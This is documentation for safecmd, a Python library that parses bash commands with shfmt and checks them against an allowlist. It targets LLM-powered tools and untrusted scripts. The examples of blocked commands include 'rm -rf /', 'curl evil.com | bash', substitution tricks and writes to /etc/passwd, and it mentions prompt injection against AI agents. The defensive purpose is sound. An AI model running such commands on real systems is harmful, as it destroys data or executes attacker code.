from safecmd import safe_runsafecmd
Introduction
Running shell commands from untrusted sources—like LLM-generated code, user input, or third-party scripts—is risky. A command that looks innocent might contain hidden redirects, command substitutions, or dangerous flags that could modify or delete files, exfiltrate data, or worse.
safecmd solves this by validating bash commands against an allowlist before execution. Instead of trying to blacklist dangerous patterns (which is error-prone and easy to bypass), safecmd uses a generous allowlist of read-only and easily-reverted commands that are safe to run.
The key innovation is that safecmd uses a proper bash parser (shfmt) to build an AST (Abstract Syntax Tree) of your command. This means it correctly handles complex bash syntax—pipelines, command substitutions, subshells, heredocs, and more—extracting and validating every command, even nested ones, before anything executes.
The result: you can safely run commands like git log | grep "fix" or find . -name "*.py" | xargs cat knowing that if someone tries to sneak in rm -rf / or curl evil.com | bash, it’ll be blocked before it runs. This makes safecmd ideal for building LLM-powered CLI tools, interactive shells that accept user input, or automation pipelines that process untrusted scripts.
Installation
Install safecmd from PyPI:
pip install safecmd
This will automatically install the shfmt-py dependency, which provides the shfmt binary. If you’re doing a local user install (pip install --user), make sure ~/.local/bin is in your PATH.
Quick Start
By default, safe_run allows common read-only commands like cat, grep, ls, head, tail, diff, wc, and safe git subcommands (git log, git status, git diff). It also includes gh, npm/yarn, docker, aws, gcloud, and other common tools.
Commands like find have exec flags configured: find . -exec ls passes (since ls is allowed) but find . -exec rm fails (since rm isn’t). Commands like curl have dest flags: curl -o /tmp/file passes but curl -o /etc/passwd fails. Output redirects (>, >>) are allowed but only to the current directory (./) or /tmp.
Bash command lines that are generally safe run as usual:
safe_run('ls -la | grep index')'-rw-------@ 1 rensdimmendaal staff 10279 Mar 13 09:28 index.ipynb'
However, any command or op not on the allowed list results in an exception - including in nested commands, pipelines, and so forth:
safe_run('echo $(rm -rf /danger)')--------------------------------------------------------------------------- DisallowedCmd Traceback (most recent call last) Cell In[22], line 2 1 #| eval:false ----> 2 safe_run('echo $(rm -rf /danger)') File ~/git/repos/safecmd/safecmd/core.py:291, in safe_run(cmd, cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests, ignore_ex, split) 289 "Run `cmd` in shell if all commands and destinations are in allowlists, else raise" 290 eff_cmds, eff_dests = _eff_sets(cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests) --> 291 validate(cmd, eff_cmds, eff_dests) 292 return run(cmd, ignore_ex=ignore_ex, split=split) File ~/git/repos/safecmd/safecmd/core.py:261, in validate(cmd, cmds, dests) 259 commands, ops, redirects = extract_commands(cmd, exec_flags=exec_flags, dest_flags=dest_flags, dest_pos=dest_pos, exec_pos=exec_pos) 260 for c in commands: --> 261 if not validate_cmd(c, cmds): raise DisallowedCmd(c) 262 for op, dest in redirects: 263 if not validate_dest(dest, dests): raise DisallowedDest(dest) DisallowedCmd: rm -rf /danger
safe_run('echo danger > /nonexistent/badpath')--------------------------------------------------------------------------- DisallowedDest Traceback (most recent call last) Cell In[23], line 2 1 #| eval:false ----> 2 safe_run('echo danger > /nonexistent/badpath') File ~/git/repos/safecmd/safecmd/core.py:291, in safe_run(cmd, cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests, ignore_ex, split) 289 "Run `cmd` in shell if all commands and destinations are in allowlists, else raise" 290 eff_cmds, eff_dests = _eff_sets(cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests) --> 291 validate(cmd, eff_cmds, eff_dests) 292 return run(cmd, ignore_ex=ignore_ex, split=split) File ~/git/repos/safecmd/safecmd/core.py:263, in validate(cmd, cmds, dests) 261 if not validate_cmd(c, cmds): raise DisallowedCmd(c) 262 for op, dest in redirects: --> 263 if not validate_dest(dest, dests): raise DisallowedDest(dest) DisallowedDest: /nonexistent/badpath
safe_run('sudo ls')--------------------------------------------------------------------------- DisallowedCmd Traceback (most recent call last) Cell In[24], line 2 1 #| eval:false ----> 2 safe_run('sudo ls') File ~/git/repos/safecmd/safecmd/core.py:291, in safe_run(cmd, cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests, ignore_ex, split) 289 "Run `cmd` in shell if all commands and destinations are in allowlists, else raise" 290 eff_cmds, eff_dests = _eff_sets(cmds, dests, add_cmds, add_dests, rm_cmds, rm_dests) --> 291 validate(cmd, eff_cmds, eff_dests) 292 return run(cmd, ignore_ex=ignore_ex, split=split) File ~/git/repos/safecmd/safecmd/core.py:261, in validate(cmd, cmds, dests) 259 commands, ops, redirects = extract_commands(cmd, exec_flags=exec_flags, dest_flags=dest_flags, dest_pos=dest_pos, exec_pos=exec_pos) 260 for c in commands: --> 261 if not validate_cmd(c, cmds): raise DisallowedCmd(c) 262 for op, dest in redirects: 263 if not validate_dest(dest, dests): raise DisallowedDest(dest) DisallowedCmd: sudo ls
To see the current allowlist, check the configuration file stored in ~/.config/safecmd/config.ini (Linux), ~/Library/Application Support/safecmd/config.ini (macOS), or %LOCALAPPDATA%\safecmd\config.ini (Windows). Edit this file to customize your allowlist permanently, or pass custom values directly to safe_run().
from fastcore.xdg import xdg_config_homecfg_path = xdg_config_home() / 'safecmd' / 'config.ini'
print(cfg_path.read_text())[DEFAULT]
ok_dests = ./, /dev/null, /tmp
ok_cmds = cat, head, tail, less, more, bat
# Directory listing
ls, tree, locate
# Search
grep, rg, ag, ack, fgrep, egrep
# Text processing
cut, sort, uniq, wc, tr, column
# File info
file, stat, du, df, which, whereis, type
# Comparison
diff, cmp, comm
# Archives
unzip, gunzip, bunzip2, unrar
# Network
ping, dig, nslookup, host
# System info
date, cal, uptime, whoami, hostname, uname, printenv
# Utilities
echo, printf, yes, seq, basename, dirname, realpath
# Git (read-only)
git blame, git branch, git cat-file, git config --get, git config --list,
git describe, git diff, git log, git ls-files, git ls-tree, git merge-base,
git remote, git rev-parse, git shortlog, git show, git stash list, git status, git tag
# Git (workspace)
git fetch, git add, git commit, git switch, git checkout
# gh
gh repo view, gh issue list, gh issue view, gh pr list, gh pr view, gh pr status, gh pr checks, gh pr diff
gh release list, gh release view, gh run list, gh run view, gh workflow list, gh workflow view
gh auth status, gh gist list, gh gist view, gh browse, gh search
# nbdev
nbdev_export, nbdev_clean
# npm (read-only)
npm list, npm ls, npm outdated, npm view, npm info, npm why, npm audit, npm config list, npm config get, npm search, npm pack
# yarn (read-only)
yarn list, yarn outdated, yarn why, yarn info, yarn config list, yarn config get
# pnpm (read-only)
pnpm list, pnpm ls, pnpm outdated, pnpm why, pnpm config list, pnpm config get
# bun (read-only)
bun pm ls, bun pm hash
# js install
npm install, yarn install, pnpm install, bun install
# Modern Unix (read-only)
bat, eza, exa, fd, fzf, dust, duf, tldr, zoxide, httpie, http, jq, yq
# Docker (read-only)
docker ps, docker images, docker logs, docker inspect, docker stats, docker top, docker diff, docker history, docker version, docker info
# Docker (workspace - reversible)
docker pull, docker build
# AWS (read-only)
aws s3 ls, aws s3 cp, aws sts get-caller-identity, aws iam get-user, aws iam list-users
aws ec2 describe-instances, aws ec2 describe-vpcs, aws ec2 describe-security-groups
aws logs describe-log-groups, aws logs filter-log-events, aws logs get-log-events
aws lambda list-functions, aws lambda get-function
aws cloudformation describe-stacks, aws cloudformation list-stacks
aws rds describe-db-instances, aws dynamodb list-tables, aws dynamodb describe-table
aws sqs list-queues, aws sns list-topics
aws configure list, aws configure get
# GCloud (read-only)
gcloud config list, gcloud config get-value, gcloud auth list
gcloud projects list, gcloud projects describe
gcloud compute instances list, gcloud compute instances describe, gcloud compute zones list, gcloud compute regions list
gcloud container clusters list, gcloud container clusters describe
gcloud functions list, gcloud functions describe, gcloud functions logs read
gcloud run services list, gcloud run services describe
gcloud sql instances list, gcloud sql instances describe
gcloud storage ls, gcloud storage cat
gcloud logging read
# toolslm
folder2ctx, repo2ctx
# Positional exec/dest handling
env:exec=$0, xargs:exec=$0
tee:dest=$0, ex:dest=$0, cp:dest=$-1, mv:dest=$-1
# Exec/dest flag handling
find:-delete|-ok|-okdir:exec=-exec|-execdir
rg:--pre
tar:--use-compress-program|--transform|--checkpoint-action|--info-script|--new-volume-script:exec=--to-command|-I
curl:dest=-o|--output
# Builtins
cd, pwd, export, test, [, true, false
How It Works
When you call safe_run(), safecmd doesn’t just string-match or regex your command—it properly parses it. Here’s what happens:
1. Parse the bash command into an AST
safecmd uses shfmt, a robust bash parser written in Go, to convert your command string into a JSON Abstract Syntax Tree. This is the same parser used by shell formatters and linters, so it handles all the edge cases that trip up naive approaches: quoted strings, escaped characters, heredocs, nested substitutions, and more.
For example, the command echo "hello" | grep h becomes a tree structure showing that there’s a pipeline with two commands (echo and grep), each with their arguments properly identified.
2. Extract all commands recursively
safecmd walks the AST and extracts every command that would be executed—including commands hidden inside: - Pipelines (cmd1 | cmd2) - Command substitutions ($(cmd) or `cmd`) - Subshells ((cmd)) - Logical chains (cmd1 && cmd2, cmd1 || cmd2)
This is crucial: a command like ls $(rm -rf /) looks like it starts with ls, but the nested rm would execute first. safecmd catches this because it extracts all commands from the AST.
3. Validate against the allowlist
Each extracted command is checked against ok_cmds using prefix matching. A simple entry like 'ls' allows ls, ls -la, ls /home. A multi-word entry like 'git status' only matches commands starting with those exact words—so git status is allowed but git push is not.
Some commands have a denied flags list—flags that will cause rejection. For instance, find blocks -delete which would remove files.
Some flags take arguments that themselves need validation: - Exec flags (like find -exec) have a next argument that’s a command—this is parsed and validated recursively. So find . -exec ls passes but find . -exec rm fails. - Dest flags (like curl -o) have a next argument that’s an output destination—this is validated against ok_dests. So curl -o /tmp/file passes but curl -o /etc/passwd fails.
4. Validate redirect destinations
Output redirects (>, >>, &>, etc.) are extracted and their destinations validated against ok_dests. By default, redirects can only write to the current directory (./) or /tmp. All paths are resolved to absolute paths before matching, which prevents path traversal attacks like ./.. or ./subdir/../../escape.
5. Execute if safe
Only after all commands and redirect destinations pass validation does safecmd actually run the command. If anything fails validation, you get a DisallowedCmd or DisallowedDest exception—nothing executes.
When to Use safecmd
safecmd is designed for situations where you need to run shell commands that you don’t fully control. Common use cases include:
LLM-powered tools: If you’re building an AI assistant that can run shell commands (like solveit itself), safecmd lets you execute LLM-generated commands without worrying that a hallucination or prompt injection will cause damage.
Interactive CLIs: Building a tool where users type shell commands? safecmd lets you offer shell functionality while preventing users (or attackers) from running dangerous commands.
Automation pipelines: Processing scripts or commands from external sources—config files, APIs, webhooks—where you want to allow some shell operations but not arbitrary code execution.
Sandboxed environments: When you want to give users shell access but restrict what they can do, safecmd provides a lightweight alternative to containerization for command-level restrictions.
safecmd is not a replacement for proper sandboxing if you’re running completely untrusted code. It’s best suited for scenarios where you want to allow a known set of useful commands while blocking obviously dangerous ones. It does not provide protection from an adversary proactively trying to break in, and does not provide any guarantees.